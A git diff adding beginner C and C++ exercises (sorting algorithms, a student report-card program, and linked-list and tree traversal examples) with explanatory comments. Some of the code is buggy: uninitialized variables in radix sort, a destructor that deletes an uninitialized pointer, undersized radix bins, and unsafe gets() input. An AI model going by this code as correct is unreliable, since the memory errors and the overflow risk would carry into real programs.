= new Node; + t->data = x; + t->next = NULL; + if(first == NULL) + first = last = t; + else{ + last->next = t; + last = last->next; + } +} + +template +T LinkedList :: Delete() +{ + T x = -1; + if(first == NULL) + cout << "Linked List is Empty\n"; + else{ + Node *tr = first; + first = first->next; + x = tr->data; + delete tr; + } + return x; +} + +template +bool LinkedList :: isEmpty() +{ + return first == NULL; +} +//Linked List end + +template +void Sorting :: BucketSort() +{ + T m = A[0]; + int i,j; + for(i=1; i < n; i++) m = max(m, A[i]); + + LinkedList *Bin = new LinkedList[m+1]; + //No need to intialize, already initialized to null... + + for(i=0; i < n; i++) Bin[A[i]].Insert(A[i]); //Inserting the Nodes + + i=0; + for(j = 0; j < m+1; j++){ + while(!Bin[j].isEmpty()){ + A[i++]= Bin[j].Delete(); + } + } +}; + +template +void Sorting :: RadixSort() +{ + int m, d=1; + for(int i=1; i < n; i++) m = max(m, A[i]); + while(d < m) + { + int i, j; + LinkedList *Bin = new LinkedList[n]; + for(i=0; i +void Sorting :: Display() +{ + for(int i=0; i < n; i++) + cout << A[i] << " "; + cout << endl; +} + +int main() +{ + int A[] = {81, 12, 67, 258, 49, 34, 23, 110, 30, 73, 289, 6}; + int n = sizeof(A)/sizeof(A[0]); + + Sorting srt(A, n); + srt.RadixSort(); + cout << "Sorting : "; + srt.Display(); + return 0; +} diff --git a/CPP/SortingTechniques/BubbleSort b/CPP/SortingTechniques/BubbleSort new file mode 100644 index 000000000..d079c2195 Binary files /dev/null and b/CPP/SortingTechniques/BubbleSort differ diff --git a/CPP/SortingTechniques/BubbleSort.c b/CPP/SortingTechniques/BubbleSort.c new file mode 100644 index 000000000..4c4b9bcb1 --- /dev/null +++ b/CPP/SortingTechniques/BubbleSort.c @@ -0,0 +1,48 @@ +#include + +//Bubble Sort takes n-1 passes, n(n-1)/2 comparisons and n(n-1)/2 swaps(max no of swaps) in general +//Normally, time complexity of Bubble Sort is O(n^2) +//However, it can be made adoptive by introducting a flag(0) which changes to 1 for any swap +//If no swap found in particular pass we simply break +//In this for already sorted element time complexity reduces to a mere O(n) + +//Analysis +//Time Complexity : Min - O(n), Max - O(n^2) +//Bubble Sort is adoptive, stable, and doesn't require extra space + +void swap(int *a, int *b) +{ + int temp = *a; + *a = *b; + *b = temp; +} + +void BubbleSort(int A[], int n) +{ + int flag; + for(int i=0; i < n-1; i++){ + flag = 0; + for(int j=0; j< n-i-1; j++){ + if(A[j] > A[j+1]) + { + swap(&A[j], &A[j+1]); + flag = 1; + } + } + if(flag == 0) break; + } +} + + +int main() +{ + int A[] = {1, 2, 3, 4, 5}; + int n = sizeof(A)/sizeof(A[0]); + + BubbleSort(A, n); + //Display + printf("Sorted : "); + for(int i =0; i < n; i++) + printf("%d ", A[i]); + return 0; +} \ No newline at end of file diff --git a/CPP/SortingTechniques/BucketSort b/CPP/SortingTechniques/BucketSort new file mode 100644 index 000000000..e6fe3f9db Binary files /dev/null and b/CPP/SortingTechniques/BucketSort differ diff --git a/CPP/SortingTechniques/BucketSort.c b/CPP/SortingTechniques/BucketSort.c new file mode 100644 index 000000000..0c61a0f37 --- /dev/null +++ b/CPP/SortingTechniques/BucketSort.c @@ -0,0 +1,94 @@ +//Bin/Bucket Sort +//Bin/Bucket Sort is similar to Count Sort except that instead of storing the count of occurrences, it stores +//each of the occurrence as a seperate node within the Array in form of a linked list at specified position. +//Time Complexity : O(n) +//Space Compplexity : O(m+n) = O(n) +//where m = max element in Array & n = size of the array + +#include +#include +#define INT_MIN -32768 + +typedef struct Node{ + int data; + struct Node *next; +}Node; + +Node* Insert(Node *p, int x) +{ + Node *first = p; + Node *t = (Node*)malloc(sizeof(struct Node)); + t->data = x; + t->next = NULL; + if(p == NULL){ + p = t; + first = t; + }else{ + while(p->next) p = p->next; + p->next = t; + p = p->next; + } + return first; +} + +Node* Delete(Node *first){ + if(first == NULL) return NULL; + Node *p = first; + first = first->next; + int x = p->data; + free(p); + return first; +} + +int Front(Node *first) +{ + if(first) return first->data; + return -1; +} + +int Max(int A[], int n) +{ + int max = INT_MIN; + for(int i=0; i max) + max = A[i]; + } + return max; +} + +void BucketSort(int A[], int n) +{ + int max = Max(A, n); + Node **C = (Node**)malloc((max+1)*sizeof(Node*)); + + for(int i=0; i < max+1; i++) C[i] = NULL;//intialization + for(int i=0; i < n; i++) C[A[i]] = Insert(C[A[i]], A[i]); // Insertion + + int i=0, j=0; + while(j < max + 1) + { + if(C[j]) + { + A[i++] = Front(C[j]); + C[j] = Delete(C[j]); + } + else + j++; + } +} + + +int main() +{ + int A[] = {6, 3, 9, 10, 15, 6, 8, 12, 3, 6}; + int n = sizeof(A)/sizeof(A[0]); + + BucketSort(A, n); + //Display + printf("Sorted : "); + for(int i=0; i < n; i++) + printf("%d ", A[i]); + printf("\n"); + return 0; +} \ No newline at end of file diff --git a/CPP/SortingTechniques/CountSort b/CPP/SortingTechniques/CountSort new file mode 100644 index 000000000..a6e9943fb Binary files /dev/null and b/CPP/SortingTechniques/CountSort differ diff --git a/CPP/SortingTechniques/CountSort.c b/CPP/SortingTechniques/CountSort.c new file mode 100644 index 000000000..a70b56879 --- /dev/null +++ b/CPP/SortingTechniques/CountSort.c @@ -0,0 +1,55 @@ +//Count Sort +//Count Sort counts the number of occurrences of each array element in seperate count array. +//Then it refills the main array according to the occurrences of deiffenet elements. +//It is easiest, fastest, but consumes a lot of memory since it is dependent on maximum element. +//Time Complexity : O(n) +//Space Complexity : O(n) where n is the max element in the array. + +//Count Sort is best when it comes to small ranges, but is not effcient for huge ranges. + +//Implementation +#include +#include + +int Max(int A[], int n) +{ + int max = -32768; + for(int i=0; i < n; i++) + if(A[i] > max) max = A[i]; + return max; +} + +void CountSort(int A[], int n) +{ + int max = Max(A, n); + int *C = (int*)malloc((max+1)*sizeof(int)); + + for(int i=0; i < max+1; i++) C[i] = 0;//Initilization + for(int i=0; i < n; i++) C[A[i]]++; //Count + + int i=0, j=0; + while(i < max+1) + { + if(C[i] > 0){ + A[j++] = i; + C[i]--; + } + else i++; + } + +} + + +int main() +{ + int A[] = {6, 3, 9, 10, 15, 6, 8, 12, 3, 6}; + int n = sizeof(A)/sizeof(A[0]); + + CountSort(A, n); + //Display + printf("Sorted : "); + for(int i=0; i < n; i++) + printf("%d ", A[i]); + printf("\n"); + return 0; +} diff --git a/CPP/SortingTechniques/HeapSort.cpp b/CPP/SortingTechniques/HeapSort.cpp new file mode 100644 index 000000000..a43b5d7aa --- /dev/null +++ b/CPP/SortingTechniques/HeapSort.cpp @@ -0,0 +1,81 @@ +#include +using namespace std; +class heap1{ +public: + void accept(); + void MAX_HEAPIFY(int a[],int,int); + void BUILD_MAX_HEAP(int a[],int); + void HEAPSORT(int a[],int); + void display(int a[],int ); +}; +void heap1 :: MAX_HEAPIFY(int a[], int i, int n) +{ + int l,r,largest,loc; + l=2*i; + r=(2*i+1); + if((l<=n)&&a[l]>a[i]) + largest=l; + else + largest=i; + if((r<=n)&&(a[r]>a[largest])) + largest=r; + if(largest!=i) + { + loc=a[i]; + a[i]=a[largest]; + a[largest]=loc; + MAX_HEAPIFY(a, largest,n); + } +} +void heap1 :: BUILD_MAX_HEAP(int a[], int n) +{ + for(int k = n/2; k >= 1; k--) + { + MAX_HEAPIFY(a, k, n); + } +} +void heap1 :: HEAPSORT(int a[], int n) +{ + + BUILD_MAX_HEAP(a,n); + int i, temp; + for (i = n; i >= 2; i--) + { + temp = a[i]; + a[i] = a[1]; + a[1] = temp; + MAX_HEAPIFY(a, 1, i - 1); + } +} + +void heap1::accept(){ + int n; + cout<<"Enter the number of students"<>n; + int a[n]; + cout<<"Enter the marks of the students "<>a[i]; + } + HEAPSORT(a, n); + display(a,n); +} +void heap1::display(int a[],int n){ + + cout<<":::::::SORTED MARKS::::::"< +#include + +//Array +void Insertion(int A[], int n) +{ + int j, x; + for(int i=1; i < n; i++){ + j = i-1; + x = A[i]; + while(j > -1 && A[j] > x){ + A[j+1] = A[j]; + j--; + } + A[j+1] = x; + } +} + + +//Linked List +struct Node{ + int data; + struct Node *next; +}*first = NULL; + +void InsertionLL(int A[], int n) +{ + struct Node *t = (struct Node*)malloc(sizeof(struct Node)); + t->data = A[0]; + t->next = NULL; + first = t; + + struct Node *p, *q; + for(int i=1; i < n; i++) + { + p = first, q= NULL; + while(p && A[i] > p->data){ + q = p; + p = p->next; + } + t = (struct Node*)malloc(sizeof(struct Node)); + t->data = A[i]; + if(p == first){t->next = first; first = t; continue;} + t->next = q->next; + q->next = t; + } +} + +//Display Linked List +void Display(struct Node *p){ + while(p){ + printf("%d ", p->data); + p = p->next; + } + printf("\n"); +} + +int main() +{ + int A[] = {62, 23, 51, 79, 6, 19, 97, 39, 120}; + int n = sizeof(A)/sizeof(A[0]); + + //LL Insertion Sort + InsertionLL(A, n); + printf("Sorted LL : "); + Display(first); + + //Array Sorted + Insertion(A, n); + printf("Sorted : "); + for(int i=0; i < n; i++) + printf("%d ", A[i]); + printf("\n"); + return 0; +} \ No newline at end of file diff --git a/CPP/SortingTechniques/MergeSort b/CPP/SortingTechniques/MergeSort new file mode 100644 index 000000000..108e65324 Binary files /dev/null and b/CPP/SortingTechniques/MergeSort differ diff --git a/CPP/SortingTechniques/MergeSort.c b/CPP/SortingTechniques/MergeSort.c new file mode 100644 index 000000000..fa64ea458 --- /dev/null +++ b/CPP/SortingTechniques/MergeSort.c @@ -0,0 +1,83 @@ +//MergeSort uses Merge internally to merge two different arrays into a single Array +//Since only one Array is taken into onsideration it tries to sort and merge parts of array, +//until we array at Sorted Array. +//MergeSort can be applied both iteratively as well as recursively. Both of them use 2-way merging. +//For iterative merge sort, the whole array of size n is taken as combination of n sorted list. +//Then these sorted lists are merged taking 2 at a time(2-way merging) and this process goes on with bigger sorted +//lists until the whole array gets sorted. + +//Time Complexity - +//For Iterative Merge sort, for each pass we make n comparsions and there are total O(logn) passes. +//So time complexity = O(nlogn) + +//Recursive Merge Sort +//It divides the array into two halves recursively until each divided array contains exactly 1 element. +//Sorts LHS and RHS recursively. +//Avg case time complexity = O(nlogn) +//Merge sort merges the array in Postorder fashion i.e. lchild->rchild->root +//Among comparison based sorting techniques, only merge sort uses auxiliary space. +//It uses space both for auxiliary array - (n) and Stack in recursion - (logn) +//Thus total auxilary space used by merge sort = n + logn + +//Merge Sort is stable. + +#include + +void Merge(int A[], int l, int mid, int h) +{ + int i=l, j = mid+1, k = 0; + int C[h-l+1]; + while(i <= mid && j <= h) + { + if(A[i] <= A[j]) + C[k++] = A[i++]; + else if(A[i] > A[j]) + C[k++] = A[j++]; + } + while(i <= mid) C[k++] = A[i++]; + while(j <= h) C[k++] = A[j++]; + + for(int i=l; i <= h; i++){A[i] = C[i-l];} +} + +void MergeSort(int A[], int l, int h){ + if(l < h) + { + int mid = (l+h)/2; + MergeSort(A, l, mid); + MergeSort(A, mid+1, h); + Merge(A, l, mid, h); + } +} + +//Iterative version of Mege Sort +void IMergeSort(int A[], int n) +{ + int p, i, l, mid, h; + for(p = 2; p <= n; p = p*2){ + for(i = 0; i+p-1 < n; i = i+p){ + l = i; + h = i+p-1; + mid = (l+h)/2; + Merge(A, l, mid, h); + } + if(i < n) + Merge(A, i, (i+n-1)/2, n-1); + } + if(p/2 < n) + Merge(A, 0, p/2-1, n-1); +} + +int main() +{ + int A[] = {8, 3, 7, 4, 9, 2, 6, 14, 89, 31, 12, 67, 76, 105, 0}; + int n = sizeof(A)/sizeof(A[0]); + + IMergeSort(A, n); + //Display + printf("Sorted : "); + for(int i=0; i < n; i++) + printf("%d ", A[i]); + printf("\n"); + return 0; +} \ No newline at end of file diff --git a/CPP/SortingTechniques/QuickSort b/CPP/SortingTechniques/QuickSort new file mode 100644 index 000000000..dabb6a22d Binary files /dev/null and b/CPP/SortingTechniques/QuickSort differ diff --git a/CPP/SortingTechniques/QuickSort.c b/CPP/SortingTechniques/QuickSort.c new file mode 100644 index 000000000..61aeb34cc --- /dev/null +++ b/CPP/SortingTechniques/QuickSort.c @@ -0,0 +1,92 @@ +//Implementation of QuickSort +//QuickSort +//QuickSort is not the fastest sorting algorithm out there... +//QuickSort works on thte idea that ana element is in a sorted position, if all elements before that element are +//smaller and all elements after it are greater than that element. +//QuickSort takes O(nlogn) time in general case, and O(n^2) time in case of sorted or reverse sorted array. +//In normal case, the answer is only dependent on patitioning while in sorted case it depends both on sorted and partioning +//The average time complexity of QuickSort is O(nlogn) + +//QuickSort employs partioning procedure for sorting the element, and is recursive in nature. +//Since it employs Partioning Procedure. it is also called Partioning exchange Sort. +//It shares a similarity to Selection Sort in way it also selects an element and finds its position, contrary to +//Selection sort which selects a position and finds out the element for that position. +//Hence, its also called Selection Exchange Sort. + +//QuickSort in neither adoptive nor stable. + +#include +#include +#include + +void swap(int *a, int *b) +{ + int temp =*a; + *a = *b; + *b = temp; +} + +int Partition(int A[], int l, int h) +{ + //Slight Modification by swapping with Middle element + //ensures O(nlogn) time in case of Sorted Array + int mid = (l+h)/2; + swap(&A[l], &A[mid]); + + int pivot = A[l]; + int i=l; + int j=h; + do + { + do{i++;}while(A[i] <= pivot); + do{j--;}while(A[j] > pivot); + if(i < j) + swap(&A[i], &A[j]); + }while(i < j); + swap(&A[l], &A[j]); + return j; +} + +//A modified version of QuickSort, in whcich we take a random element as pivot by swappping it with first element +int Randomized_Partition(int A[], int l, int h) +{ + //Choosing a random number as pivot + srand(time(0)); + int pivot_index = l + rand()%(h-l); + swap(&A[l], &A[pivot_index]); + + int i = l, j = h; + int pivot = A[l]; + do + { + do{i++;}while(A[i] <= pivot); + do{j--;}while(A[j] > pivot); + if(i < j) + swap(&A[i], &A[j]); + }while(i < j); + swap(&A[l], &A[j]); + return j; +} + +void QuickSort(int A[], int l, int h) +{ + if(l < h) + { + int pivot = Randomized_Partition(A, l, h); + QuickSort(A, l, pivot); + QuickSort(A, pivot+1, h); + } +} + +int main() +{ + int A[] = {2, 43, 12, 34, 87, 6, 14, 39, 55, 0, -36, __INT32_MAX__}; + int n = sizeof(A)/sizeof(A[0]); + + QuickSort(A, 0, n-1); + printf("Sorted : "); + for(int i=0; i < n-1; i++) + printf("%d ", A[i]); + printf("\n"); + return 0; +} \ No newline at end of file diff --git a/CPP/SortingTechniques/RadixSort b/CPP/SortingTechniques/RadixSort new file mode 100644 index 000000000..f557e8625 Binary files /dev/null and b/CPP/SortingTechniques/RadixSort differ diff --git a/CPP/SortingTechniques/RadixSort.cpp b/CPP/SortingTechniques/RadixSort.cpp new file mode 100644 index 000000000..5417b5e5f --- /dev/null +++ b/CPP/SortingTechniques/RadixSort.cpp @@ -0,0 +1,113 @@ +//Radix Sort +//Radix Sort is similar to Bucket/Bin sort and different at the same time. +//Instead of taking the whole number as index into consideration, it works on the basis of a particular digit. +//Starting from the last digit, it keeps on sorting and storing and repeats same process with the digit with comes before it, +//till all the digits of the max number is exhausted. + +//Time Complexity = O(dn) where d = no. of digits and n = no. of elements +//Space complexity = O(n) +#include + +using namespace std; + +class Node{ + public: + int data; + Node *next; +}; + +class LinkedList{ + private: + Node *first, *last; + + public: + LinkedList(){first = last = NULL;} + ~LinkedList(); + void Insert(int x); + int Delete(); + bool isEmpty(); +}; + +LinkedList :: ~LinkedList() +{ + Node *p; + while(first){ + first = first->next; + delete p; + } + first = last = NULL; +} + +void LinkedList :: Insert(int x) +{ + Node *t = new Node; + t->data = x; + t->next = NULL; + if(first == NULL) + first = last = t; + else{ + last->next = t; + last = last->next; + } +} + +int LinkedList :: Delete() +{ + if(first == NULL) return -1; + Node * tr = first; + first = first->next; + int x = tr->data; + delete tr; + return x; +} + +bool LinkedList :: isEmpty() +{ + return first == NULL; +} + +int Max(int A[], int n) +{ + int mx = INT32_MIN;; + for(int i=0; i < n; i++) + if(mx < A[i]) mx = A[i]; + return mx; +} + +void RadixSort(int A[], int n) +{ + int max = Max(A, n), d = 1; + LinkedList *bin = new LinkedList[n]; + + while(d < max) + { + //1 Pass + //Insertion according to kth digit where k = log(d)+1 + for(int i=0; i < n; i++) + bin[(A[i]/d)%10].Insert(A[i]); + + int i=0; + for(int j=0; j < n; j++) + { + while(!bin[j].isEmpty()) + A[i++] = bin[j].Delete(); + } + d = d*10; + } + +} + +int main() +{ + int A[] = {237, 140, 259, 348, 152, 163, 1244, 48, 36, 62}; + int n = sizeof(A)/sizeof(A[0]); + + RadixSort(A, n); + //Display + cout << "Sorted List : "; + for(int i=0; i < n; i++) + cout << A[i] << " "; + cout << endl; + + return 0; +} \ No newline at end of file diff --git a/CPP/SortingTechniques/SelectionSort b/CPP/SortingTechniques/SelectionSort new file mode 100644 index 000000000..01c3cf10b Binary files /dev/null and b/CPP/SortingTechniques/SelectionSort differ diff --git a/CPP/SortingTechniques/SelectionSort.c b/CPP/SortingTechniques/SelectionSort.c new file mode 100644 index 000000000..e36cf5cde --- /dev/null +++ b/CPP/SortingTechniques/SelectionSort.c @@ -0,0 +1,49 @@ +//Selection Sort +//We seect a position and then find the element that fits that position. +//Starting with position 0, we look for the smallest number in remaining array that would fit the position +//And swap the it with the index position. + +//Characterisitcs +//Since in each pass, only one swap is performed, total number of swaps = n-1 = O(n) +//1.Thus, Selection Sort is good for less number of swaps. +//2. Intermediate results of Selection Sort are useful just like Insertion Sort. +//For k-passes, they give the k-smallest elements. Quite useful in algorithms. + +//Time Complexity - O(n^2) +//Not Adoptive +//Not Stable + +//Implementation +#include + +void swap(int *a, int *b) +{ + int temp = *a; + *a = *b; + *b = temp; +} + +void Selection(int A[], int n) +{ + int j, k; + for(int i=0; i < n-1; i++) + { + for(j=k=i; j < n; j++){ + if(A[j] < A[k]) + k = j; + } + swap(&A[i], &A[k]);// 1 swap per pass + } +} + +int main() +{ + int A[] = {45, 36, 14, 78, 24, 52, 83,-11, 232, 6}; + int n = sizeof(A)/sizeof(A[0]); + + Selection(A, n); + printf("Sorted Array : "); + for(int i=0; i < n; i++) + printf("%d ", A[i]); + printf("\n"); +} \ No newline at end of file diff --git a/CPP/SortingTechniques/ShellSort b/CPP/SortingTechniques/ShellSort new file mode 100644 index 000000000..e1c5e98c5 Binary files /dev/null and b/CPP/SortingTechniques/ShellSort differ diff --git a/CPP/SortingTechniques/ShellSort.c b/CPP/SortingTechniques/ShellSort.c new file mode 100644 index 000000000..fe2bfc7f0 --- /dev/null +++ b/CPP/SortingTechniques/ShellSort.c @@ -0,0 +1,54 @@ +//Shell Sort +//Shell Sort is usefu for sorting very lagre size array. +//Shell Sort is based on Insertion Sort. We follow the same procedure as in insertion sort. +//Only that this time, a gap is introduced between each element which rduces by half after each pass. +//Initially gap between two elements to consider for insertion sort is floor(n/2). + +//Time Complexity +//Shell sort comes with many variation depending what we choose for gap. +//If we take n/2 as gap, then time complexity = O(nlogn) +//Some other variations include O(n^3/2) and O(n^5/3) for prime numbers as gap. +//Shell sort does inplace sorting so no extra space is required. + +#include + +void swap(int *a, int *b) +{ + int temp = *a; + *a = *b; + *b = temp; +} + +void ShellSort(int A[], int n) +{ + int j, x; + int gap = n/2; + while(gap > 0){ + for(int i = 0; i < n; i++) + { + if(i+gap < n && A[i+gap] < A[i]) swap(&A[i], &A[i+gap]); + j = i-gap; + x = A[i]; + while(j > -1 && A[j] > x){ + A[j+gap] = A[j]; + j = j-gap; + } + A[j+gap] = x; + } + gap = gap/2; + } +} + +int main() +{ + int A[] = {62, 23, 51, 79, 6, 19, 28, 39, 120}; + int n = sizeof(A)/sizeof(A[0]); + + //Array Sorted + ShellSort(A, n); + printf("Sorted : "); + for(int i=0; i < n; i++) + printf("%d ", A[i]); + printf("\n"); + return 0; +} \ No newline at end of file diff --git a/CPP/Student_Report.cpp b/CPP/Student_Report.cpp new file mode 100644 index 000000000..d8583245e --- /dev/null +++ b/CPP/Student_Report.cpp @@ -0,0 +1,396 @@ +//*************************************************************** +// HEADER FILE USED IN PROJECT +//**************************************************************** + +#include +#include +#include +#include +#include + +//*************************************************************** +// CLASS USED IN PROJECT +//**************************************************************** + +class student +{ + int rollno; + char name[50]; + int p_marks,c_marks,m_marks,e_marks,cs_marks; + float per; + char grade; + int std; + void calculate() + { + per=(p_marks+c_marks+m_marks+e_marks+cs_marks)/5.0; + if(per>=60) + grade='A'; + else if(per>=50 && per<60) + grade='B'; + else if(per>=33 && per<50) + grade='C'; + else + grade='F'; + } +public: + void getdata() + { + cout<<"\nEnter The roll number of student "; + cin>>rollno; + cout<<"\n\nEnter The Name of student "; + gets(name); + cout<<"\nEnter The marks in physics out of 100 : "; + cin>>p_marks; + cout<<"\nEnter The marks in chemistry out of 100 : "; + cin>>c_marks; + cout<<"\nEnter The marks in maths out of 100 : "; + cin>>m_marks; + cout<<"\nEnter The marks in english out of 100 : "; + cin>>e_marks; + cout<<"\nEnter The marks in computer science out of 100 : "; + cin>>cs_marks; + calculate(); + } + + void showdata() + { + cout<<"\nRoll number of student : "<>no; + fp.open("student.dat",ios::in|ios::out); + while(fp.read((char*)&st,sizeof(student)) && found==0) + { + if(st.retrollno()==no) + { + st.showdata(); + cout<<"\nPlease Enter The New Details of student"<>no; + fp.open("student.dat",ios::in|ios::out); + fstream fp2; + fp2.open("Temp.dat",ios::out); + fp.seekg(0,ios::beg); + while(fp.read((char*)&st,sizeof(student))) + { + if(st.retrollno()!=no) + { + fp2.write((char*)&st,sizeof(student)); + } + } + fp2.close(); + fp.close(); + remove("student.dat"); + rename("Temp.dat","student.dat"); + cout<<"\n\n\tRecord Deleted .."; + getch(); +} + + +//*************************************************************** +// function to display all students grade report +//**************************************************************** + +void class_result() +{ + clrscr(); + fp.open("student.dat",ios::in); + if(!fp) + { + cout<<"ERROR!!! FILE COULD NOT BE OPEN\n\n\n Go To Entry Menu to create File"; + cout<<"\n\n\n Program is closing ...."; + getch(); + exit(0); + } + + cout<<"\n\n\t\tALL STUDENTS RESULT \n\n"; + cout<<"====================================================\n"; + cout<<"Roll No. Name P C M E CS %age Grade\n"; + cout<<"====================================================\n"; + + while(fp.read((char*)&st,sizeof(student))) + { + st.show_tabular(); + } + fp.close(); + getch(); +} + + + + +//*************************************************************** +// function to display result menu +//**************************************************************** + +void result() +{ + int ans,rno; + char ch; + clrscr(); + cout<<"\n\n\nRESULT MENU"; + cout<<"\n\n\n1. Class Result\n\n2. Student Report Card\n\n3.Back to Main Menu"; + cout<<"\n\n\nEnter Choice (1/2)? "; + cin>>ans; + switch(ans) + { + case 1 : + class_result(); + break; + case 2 : + { + do + { + clrscr(); + char ans; + cout<<"\n\nEnter Roll Number Of Student : "; + cin>>rno; + display_sp(rno); + cout<<"\n\nDo you want to See More Result (y/n)?"; + cin>>ans; + } + while(ans=='y'||ans=='Y'); + + break; + } + case 3: + break; + default: + cout<<"\a"; + } +} + +//*************************************************************** +// INTRODUCTION FUNCTION +//**************************************************************** + +void intro() +{ + clrscr(); + gotoxy(35,11); + cout<<"STUDENT"; + gotoxy(33,14); + cout<<"REPORT CARD"; + gotoxy(35,17); + cout<<"PROJECT"; + cout<<"\n\nMADE BY : Code With C"; + cout<<"\n\nCONTACT : codewithc.com"; + getch(); + +} + + + + +//*************************************************************** +// ENTRY / EDIT MENU FUNCTION +//**************************************************************** +void entry_menu() +{ + clrscr(); + char ch2; + cout<<"\n\n\n\tENTRY MENU"; + cout<<"\n\n\t1.CREATE STUDENT RECORD"; + cout<<"\n\n\t2.DISPLAY ALL STUDENTS RECORDS"; + cout<<"\n\n\t3.SEARCH STUDENT RECORD "; + cout<<"\n\n\t4.MODIFY STUDENT RECORD"; + cout<<"\n\n\t5.DELETE STUDENT RECORD"; + cout<<"\n\n\t6.BACK TO MAIN MENU"; + cout<<"\n\n\tPlease Enter Your Choice (1-6) "; + ch2=getche(); + switch(ch2) + { + case '1': + clrscr(); + write_student(); + break; + case '2': + display_all(); + break; + case '3': + int num; + clrscr(); + cout<<"\n\n\tPlease Enter The roll number "; + cin>>num; + display_sp(num); + break; + case '4': + modify_student(); + break; + case '5': + delete_student(); + break; + case '6': + break; + default: + cout<<"\a"; + entry_menu(); + } +} + + +//*************************************************************** +// THE MAIN FUNCTION OF PROGRAM +//**************************************************************** + + +void main() +{ + char ch; + intro(); + do + { + clrscr(); + cout<<"\n\n\n\tMAIN MENU"; + cout<<"\n\n\t01. RESULT MENU"; + cout<<"\n\n\t02. ENTRY/EDIT MENU"; + cout<<"\n\n\t03. EXIT"; + cout<<"\n\n\tPlease Select Your Option (1-3) "; + ch=getche(); + switch(ch) + { + case '1': + clrscr(); + result(); + break; + case '2': + entry_menu(); + break; + case '3': + exit(0); + default : + cout<<"\a"; + } + } + while(ch!='3'); +} + +//*************************************************************** +// END OF PROJECT +//*************************************************************** diff --git a/CPP/SubsetWithGivenDiff.cpp b/CPP/SubsetWithGivenDiff.cpp new file mode 100644 index 000000000..c4d345a42 --- /dev/null +++ b/CPP/SubsetWithGivenDiff.cpp @@ -0,0 +1,54 @@ +#include +using namespace std; +int dp[20001][20001]; + +int countSubsets(int arr[], int n, int sum) +{ + if (dp[n][sum] != -1) + return dp[n][sum]; + // base case + if (sum == 0) + return 1; + if (n == 0) + return 0; + if (arr[n - 1] <= sum) + return dp[n][sum] = countSubsets(arr, n - 1, sum - arr[n - 1]) + countSubsets(arr, n - 1, sum); + + return dp[n][sum] = countSubsets(arr, n - 1, sum); +} + +int subsetsDiff(int arr[], int n, int diff) +{ + int arr_sum = 0; + // sum of the array + for (int i = 0; i < n; i++) + arr_sum += arr[i]; + /* + Let there be two subsets with sum s1 and s2 respectively + s1 + s2 = arr_sum + s1 - s2 = diff + so solving the above equations, we get: + s1 = (diff + arr_sum)/2 + Therefore, we will find number of subsets with sum as s1 + */ + int sum = (diff + arr_sum) / 2; + + return countSubsets(arr, n, sum); +} + +int main() +{ + // dp table + memset(dp, -1, sizeof(dp)); + int n, diff; + cin >> n >> diff; + int arr[n]; + for (int i = 0; i < n; i++) + { + cin >> arr[i]; + } + + cout << subsetsDiff(arr, n, diff); + + return 0; +} diff --git a/CPP/SwapNodes.cpp b/CPP/SwapNodes.cpp new file mode 100644 index 000000000..7bfd440cf --- /dev/null +++ b/CPP/SwapNodes.cpp @@ -0,0 +1,99 @@ +/*Given a linked list, swap every two adjacent nodes and return its head. +You must solve the problem without modifying the values in the list's nodes (i.e., only nodes themselves may be changed.)*/ +#include +using namespace std; +struct Node +{ + int data; + struct Node *next; + + Node(int x) + { + data = x; + next = NULL; + } +}; +class Solution +{ +public: + Node *AdjacentSwap(struct Node *head) + { + if (head == NULL || head->next == NULL) + return head; + + Node *prev = head; + Node *curr = head->next; + + head = curr; + + while (true) + { + Node *Next = curr->next; + curr->next = prev; + + if (Next == NULL || Next->next == NULL) + { + prev->next = Next; + break; + } + + prev->next = Next->next; + prev = Next; + curr = prev->next; + } + return head; + } +}; +void printList(Node *node) +{ + while (node != NULL) + { + cout << node->data << " "; + node = node->next; + } + cout << "\n"; +} + +int main() +{ + int t; + cin >> t; + while (t--) + { + int n; + cin >> n; + + int data; + cin >> data; + struct Node *head = new Node(data); + struct Node *tail = head; + map mp; + mp[head] = head->data; + for (int i = 0; i < n - 1; ++i) + { + cin >> data; + tail->next = new Node(data); + tail = tail->next; + mp[tail] = tail->data; + } + struct Node *failure = new Node(-1); + Solution ob; + head = ob.AdjacentSwap(head); + int flag = 0; + struct Node *temp = head; + while (temp) + { + if (mp[temp] != temp->data) + { + flag = 1; + break; + } + temp = temp->next; + } + if (flag) + printList(failure); + else + printList(head); + } + return 0; +} \ No newline at end of file diff --git a/CPP/To check given word is pallindrome or not.cpp b/CPP/To check given word is pallindrome or not.cpp new file mode 100644 index 000000000..7bac91ed8 --- /dev/null +++ b/CPP/To check given word is pallindrome or not.cpp @@ -0,0 +1,33 @@ +//To check given word is pallindrome or not + +#include +using namespace std; + +int main() +{ + +int l; +cin>>l; + +char arr[l+1]; +cin>>arr; + +int c=0; + +for(int i=0;i0) +cout<<"number is not pallindrome"; + +else +cout<<"number is pallindrome"; + +return 0; +} diff --git a/CPP/TreeTraversal.cpp b/CPP/TreeTraversal.cpp new file mode 100644 index 000000000..cf3a198b6 --- /dev/null +++ b/CPP/TreeTraversal.cpp @@ -0,0 +1,76 @@ +//TREE TRAVERSAL +#include +#include +using namespace std; +struct node{ + int data; + node* left; + node* right; +}; + +node* newNode(int key) +{ + node* tmp = new node(); + tmp->data = key; + tmp->left = tmp->right = nullptr; + + return tmp; +} + +//INSERTION +node* insert(node* root, int l_data){ + if(root == nullptr){ + return newNode(l_data); + } + if(l_data <= root->data){ + root->left = insert(root->left, l_data); + }else{ + root->right = insert(root->right, l_data); + } + return root; +} + +//INORDER TRAVERSAL +void inorder(node* root){ + if(root == nullptr){ + return; + } + inorder(root->left); + cout<data<<" "; + inorder(root->right); +} + +//PREORDER TRAVERSAL +void preOrder(node* root){ + if(root == nullptr){ + return; + } + cout<data<<" "; + preOrder(root->left); + preOrder(root->right); +} + +//POSTORDER TRAVERSAL +void postOrder(node* root){ + if(root == nullptr){ + return; + } + postOrder(root->left); + postOrder(root->right); + cout<data<<" "; +} + +int main(){ + node *root = newNode(1); + + root->left = newNode(2); + root->right = newNode(3); + root->left->left = newNode(4); + root->left->right = newNode(5); + cout<<"\n Pre order transversal: "; + preOrder(root); + cout<<"\n Inorder transversal: "; + inorder(root); + cout<<"\n Post order transversal: "; + postOrder(root); +} diff --git a/CPP/TridaigonalMatrix.cpp b/CPP/TridaigonalMatrix.cpp new file mode 100644 index 000000000..1b4a62026 --- /dev/null +++ b/CPP/TridaigonalMatrix.cpp @@ -0,0 +1,36 @@ +#include +#include +using namespace std; + +int main(){ + int order; + cout<<"Enter the order of the matrix"<>order; + + int index = (4 + (3*(order - 2))); + + int arr[index]; + + cout<<"Input "<>arr[i]; + } + + int row, col; + int indexkeep = 0; + cout<<"Output"< +using namespace std; + +int 